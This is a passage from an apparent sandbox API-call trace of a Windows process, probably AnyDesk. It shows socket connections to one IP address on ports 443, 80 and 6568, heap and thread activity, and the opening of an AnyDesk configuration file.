cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0) returned 0 [0285.157] setsockopt (s=0x320, level=65535, optname=4097, optval="", optlen=4) returned 0 [0285.157] WSAConnect (in: s=0x320, name=0x350fb10*(sa_family=2, sin_port=0x1bb, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0285.160] WSAGetLastError () returned 10035 [0285.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0285.161] GetTickCount () returned 0xe022 [0285.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a9250 [0285.161] QueryPerformanceCounter (in: lpPerformanceCount=0x350f9f8 | out: lpPerformanceCount=0x350f9f8*=2566180380461) returned 1 [0285.161] GetCurrentThreadId () returned 0x5d8 [0285.161] SwitchToFiber (lpFiber=0x16f6890) [0285.161] SwitchToFiber (lpFiber=0x16f70a0) [0285.161] GetLastError () returned 0x2733 [0285.161] SwitchToFiber (lpFiber=0x16f6890) [0285.161] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2566180430246) returned 1 [0285.161] WaitForMultipleObjects (nCount=0x7, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0xbc1) returned 0x6 [0285.183] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab330 [0285.183] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566483437140) returned 1 [0285.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9290 [0285.184] GetCurrentThreadId () returned 0x5d8 [0285.184] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9250 | out: hHeap=0x1930000) returned 1 [0285.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a00 [0285.184] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.184] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.184] WSAEnumNetworkEvents (in: s=0x320, hEventObject=0x0, lpNetworkEvents=0x25efac4 | out: lpNetworkEvents=0x25efac4) returned 0 [0285.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9250 [0285.184] GetCurrentThreadId () returned 0x5d8 [0285.185] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.185] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566483566681) returned 1 [0285.185] SwitchToFiber (lpFiber=0x16fbd50) [0285.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a91f0 [0285.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9290 | out: hHeap=0x1930000) returned 1 [0285.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a91f0 | out: hHeap=0x1930000) returned 1 [0285.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.185] GetCurrentThreadId () returned 0x5d8 [0285.186] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0285.186] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0285.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0285.186] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.186] shutdown (s=0x320, how=2) returned 0 [0285.200] closesocket (s=0x320) returned 0 [0285.200] CloseHandle (hObject=0x32c) returned 1 [0285.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a92b0 | out: hHeap=0x1930000) returned 1 [0285.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9250 | out: hHeap=0x1930000) returned 1 [0285.200] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1991bb0 | out: hHeap=0x1930000) returned 1 [0285.200] GetLastError () returned 0x0 [0285.201] GetSystemTime (in: lpSystemTime=0x350fbfc | out: lpSystemTime=0x350fbfc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1d8)) [0285.201] GetCurrentThreadId () returned 0x5d8 [0285.201] GetCurrentProcessId () returned 0x51c [0285.201] GetLastError () returned 0x0 [0285.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x350fa04, dwCreationFlags=0x4, lpThreadId=0x350fa18 | out: lpThreadId=0x350fa18*=0x604) returned 0x320 [0285.202] ResumeThread (hThread=0x320) returned 0x1 [0285.202] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0xffffffff) returned 0x0 [0285.202] CloseHandle (hObject=0x32c) returned 1 [0285.202] SwitchToFiber (lpFiber=0x16f6890) [0285.202] SwitchToFiber (lpFiber=0x16f70a0) [0285.202] GetLastError () returned 0x0 [0285.202] SwitchToFiber (lpFiber=0x16f6890) [0285.203] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab330 [0285.210] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566486130964) returned 1 [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964e00 [0285.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e00 | out: hHeap=0x1930000) returned 1 [0285.211] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab330 [0285.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.211] GetCurrentThreadId () returned 0x5d8 [0285.211] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.211] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.211] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566486244302) returned 1 [0285.212] SwitchToFiber (lpFiber=0x16fbd50) [0285.212] GetCurrentThreadId () returned 0x5d8 [0285.212] GetExitCodeThread (in: hThread=0x320, lpExitCode=0x350f9c0 | out: lpExitCode=0x350f9c0) returned 1 [0285.212] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0xffffffff) returned 0x0 [0285.213] CloseHandle (hObject=0x320) returned 1 [0285.213] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa508 | out: hHeap=0x1930000) returned 1 [0285.213] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.213] GetLastError () returned 0x0 [0285.213] GetSystemTime (in: lpSystemTime=0x350faf0 | out: lpSystemTime=0x350faf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1d8)) [0285.213] GetCurrentThreadId () returned 0x5d8 [0285.213] GetCurrentProcessId () returned 0x51c [0285.213] GetLastError () returned 0x0 [0285.213] htons (hostshort=0x50) returned 0x5000 [0285.213] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x320 [0285.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9230 [0285.214] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x348 [0285.214] GetCurrentThreadId () returned 0x5d8 [0285.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990558 [0285.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e00 [0285.214] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964df0 [0285.214] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e00 | out: hHeap=0x1930000) returned 1 [0285.214] WSAEventSelect (s=0x320, hEventObject=0x348, lNetworkEvents=59) returned 0 [0285.214] setsockopt (s=0x320, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0285.214] setsockopt (s=0x320, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0285.214] WSAIoctl (in: s=0x320, dwIoControlCode=0x98000004, lpvInBuffer=0x350fab8, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0) returned 0 [0285.214] setsockopt (s=0x320, level=65535, optname=4097, optval="", optlen=4) returned 0 [0285.214] WSAConnect (in: s=0x320, name=0x350fb10*(sa_family=2, sin_port=0x50, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0285.215] WSAGetLastError () returned 10035 [0285.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab330 [0285.215] GetTickCount () returned 0xec21 [0285.215] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a9290 [0285.215] QueryPerformanceCounter (in: lpPerformanceCount=0x350f9f8 | out: lpPerformanceCount=0x350f9f8*=2566486619192) returned 1 [0285.215] GetCurrentThreadId () returned 0x5d8 [0285.215] SwitchToFiber (lpFiber=0x16f6890) [0285.215] SwitchToFiber (lpFiber=0x16f70a0) [0285.215] GetLastError () returned 0x2733 [0285.216] SwitchToFiber (lpFiber=0x16f6890) [0285.216] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2566486659094) returned 1 [0285.216] WaitForMultipleObjects (nCount=0x7, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x12a) returned 0x6 [0285.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0285.239] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566518657220) returned 1 [0285.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9130 [0285.239] GetCurrentThreadId () returned 0x5d8 [0285.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9290 | out: hHeap=0x1930000) returned 1 [0285.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964e00 [0285.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e00 | out: hHeap=0x1930000) returned 1 [0285.239] WSAEnumNetworkEvents (in: s=0x320, hEventObject=0x0, lpNetworkEvents=0x25efac4 | out: lpNetworkEvents=0x25efac4) returned 0 [0285.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9290 [0285.239] GetCurrentThreadId () returned 0x5d8 [0285.240] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.240] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566518757783) returned 1 [0285.240] SwitchToFiber (lpFiber=0x16fbd50) [0285.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9110 [0285.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9130 | out: hHeap=0x1930000) returned 1 [0285.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9110 | out: hHeap=0x1930000) returned 1 [0285.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.240] GetCurrentThreadId () returned 0x5d8 [0285.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0285.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0285.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971860 [0285.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964df0 | out: hHeap=0x1930000) returned 1 [0285.241] shutdown (s=0x320, how=2) returned 0 [0285.246] closesocket (s=0x320) returned 0 [0285.247] CloseHandle (hObject=0x348) returned 1 [0285.247] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9230 | out: hHeap=0x1930000) returned 1 [0285.247] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.247] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9290 | out: hHeap=0x1930000) returned 1 [0285.247] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1991bb0 | out: hHeap=0x1930000) returned 1 [0285.247] GetLastError () returned 0x0 [0285.247] GetSystemTime (in: lpSystemTime=0x350fbfc | out: lpSystemTime=0x350fbfc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x207)) [0285.247] GetCurrentThreadId () returned 0x5d8 [0285.247] GetCurrentProcessId () returned 0x51c [0285.247] GetLastError () returned 0x0 [0285.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x350fa04, dwCreationFlags=0x4, lpThreadId=0x350fa18 | out: lpThreadId=0x350fa18*=0x608) returned 0x320 [0285.248] ResumeThread (hThread=0x320) returned 0x1 [0285.248] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0xffffffff) returned 0x0 [0285.249] CloseHandle (hObject=0x348) returned 1 [0285.249] SwitchToFiber (lpFiber=0x16f6890) [0285.249] SwitchToFiber (lpFiber=0x16f70a0) [0285.249] GetLastError () returned 0x0 [0285.249] SwitchToFiber (lpFiber=0x16f6890) [0285.250] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0285.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0285.254] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566520218939) returned 1 [0285.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964df0 [0285.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964df0 | out: hHeap=0x1930000) returned 1 [0285.255] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0285.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.255] GetCurrentThreadId () returned 0x5d8 [0285.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.255] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.256] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566520354145) returned 1 [0285.256] SwitchToFiber (lpFiber=0x16fbd50) [0285.256] GetCurrentThreadId () returned 0x5d8 [0285.256] GetExitCodeThread (in: hThread=0x320, lpExitCode=0x350f9c0 | out: lpExitCode=0x350f9c0) returned 1 [0285.256] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0xffffffff) returned 0x0 [0285.257] CloseHandle (hObject=0x320) returned 1 [0285.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa4d0 | out: hHeap=0x1930000) returned 1 [0285.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.257] GetLastError () returned 0x0 [0285.258] GetSystemTime (in: lpSystemTime=0x350faf0 | out: lpSystemTime=0x350faf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x207)) [0285.258] GetCurrentThreadId () returned 0x5d8 [0285.258] GetCurrentProcessId () returned 0x51c [0285.258] GetLastError () returned 0x0 [0285.258] htons (hostshort=0x19a8) returned 0xa819 [0285.258] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x320 [0285.258] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9250 [0285.259] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x32c [0285.259] GetCurrentThreadId () returned 0x5d8 [0285.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990558 [0285.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964df0 [0285.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e00 [0285.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964df0 | out: hHeap=0x1930000) returned 1 [0285.259] WSAEventSelect (s=0x320, hEventObject=0x32c, lNetworkEvents=59) returned 0 [0285.259] setsockopt (s=0x320, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0285.259] setsockopt (s=0x320, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0285.259] WSAIoctl (in: s=0x320, dwIoControlCode=0x98000004, lpvInBuffer=0x350fab8, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x350fab4, lpOverlapped=0x0) returned 0 [0285.259] setsockopt (s=0x320, level=65535, optname=4097, optval="", optlen=4) returned 0 [0285.260] WSAConnect (in: s=0x320, name=0x350fb10*(sa_family=2, sin_port=0x19a8, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0285.260] WSAGetLastError () returned 10035 [0285.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0285.260] GetTickCount () returned 0xed69 [0285.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a9130 [0285.261] QueryPerformanceCounter (in: lpPerformanceCount=0x350f9f8 | out: lpPerformanceCount=0x350f9f8*=2566520853284) returned 1 [0285.261] GetCurrentThreadId () returned 0x5d8 [0285.261] SwitchToFiber (lpFiber=0x16f6890) [0285.261] SwitchToFiber (lpFiber=0x16f70a0) [0285.261] GetLastError () returned 0x2733 [0285.261] SwitchToFiber (lpFiber=0x16f6890) [0285.261] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2566520901370) returned 1 [0285.261] WaitForMultipleObjects (nCount=0x7, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x11) returned 0x6 [0285.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab330 [0285.283] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566524667786) returned 1 [0285.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9270 [0285.283] GetCurrentThreadId () returned 0x5d8 [0285.283] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9130 | out: hHeap=0x1930000) returned 1 [0285.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964df0 [0285.283] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.283] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964df0 | out: hHeap=0x1930000) returned 1 [0285.283] WSAEnumNetworkEvents (in: s=0x320, hEventObject=0x0, lpNetworkEvents=0x25efac4 | out: lpNetworkEvents=0x25efac4) returned 0 [0285.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9130 [0285.283] GetCurrentThreadId () returned 0x5d8 [0285.284] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.284] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566524763590) returned 1 [0285.284] SwitchToFiber (lpFiber=0x16fbd50) [0285.284] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a92f0 [0285.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9270 | out: hHeap=0x1930000) returned 1 [0285.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a92f0 | out: hHeap=0x1930000) returned 1 [0285.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.284] GetCurrentThreadId () returned 0x5d8 [0285.285] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0285.285] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719c0 | out: hHeap=0x1930000) returned 1 [0285.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719c0 [0285.285] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e00 | out: hHeap=0x1930000) returned 1 [0285.285] shutdown (s=0x320, how=2) returned 0 [0285.294] closesocket (s=0x320) returned 0 [0285.294] CloseHandle (hObject=0x32c) returned 1 [0285.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9250 | out: hHeap=0x1930000) returned 1 [0285.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9130 | out: hHeap=0x1930000) returned 1 [0285.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1991bb0 | out: hHeap=0x1930000) returned 1 [0285.294] GetLastError () returned 0x0 [0285.294] GetSystemTime (in: lpSystemTime=0x350fbfc | out: lpSystemTime=0x350fbfc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x236)) [0285.294] GetCurrentThreadId () returned 0x5d8 [0285.294] GetCurrentProcessId () returned 0x51c [0285.294] GetLastError () returned 0x0 [0285.295] GetSystemTime (in: lpSystemTime=0x350fbfc | out: lpSystemTime=0x350fbfc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x236)) [0285.295] GetCurrentThreadId () returned 0x5d8 [0285.295] GetCurrentProcessId () returned 0x51c [0285.295] GetLastError () returned 0x0 [0285.295] GetSystemTime (in: lpSystemTime=0x350fc90 | out: lpSystemTime=0x350fc90*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x236)) [0285.295] GetCurrentThreadId () returned 0x5d8 [0285.295] GetCurrentProcessId () returned 0x51c [0285.295] GetLastError () returned 0x0 [0285.295] SwitchToFiber (lpFiber=0x16f6890) [0285.295] SwitchToFiber (lpFiber=0x16f70a0) [0285.295] GetLastError () returned 0x0 [0285.295] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0285.295] LockFileEx (in: hFile=0x32c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2d4f588 | out: lpOverlapped=0x2d4f588) returned 1 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab450 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x1985838 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa4d0 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab330 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa540 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab438 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970fa8 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab420 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688f8 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab408 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1971ff8 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3f0 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196af70 [0285.296] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3d8 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x19725d0 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3c0 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990558 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab318 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970a98 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab390 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972d60 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c7) returned 0x1969238 [0285.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975fc0 [0285.297] GetLastError () returned 0xb7 [0285.297] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0285.297] SetEndOfFile (hFile=0x32c) returned 1 [0285.299] WriteFile (in: hFile=0x32c, 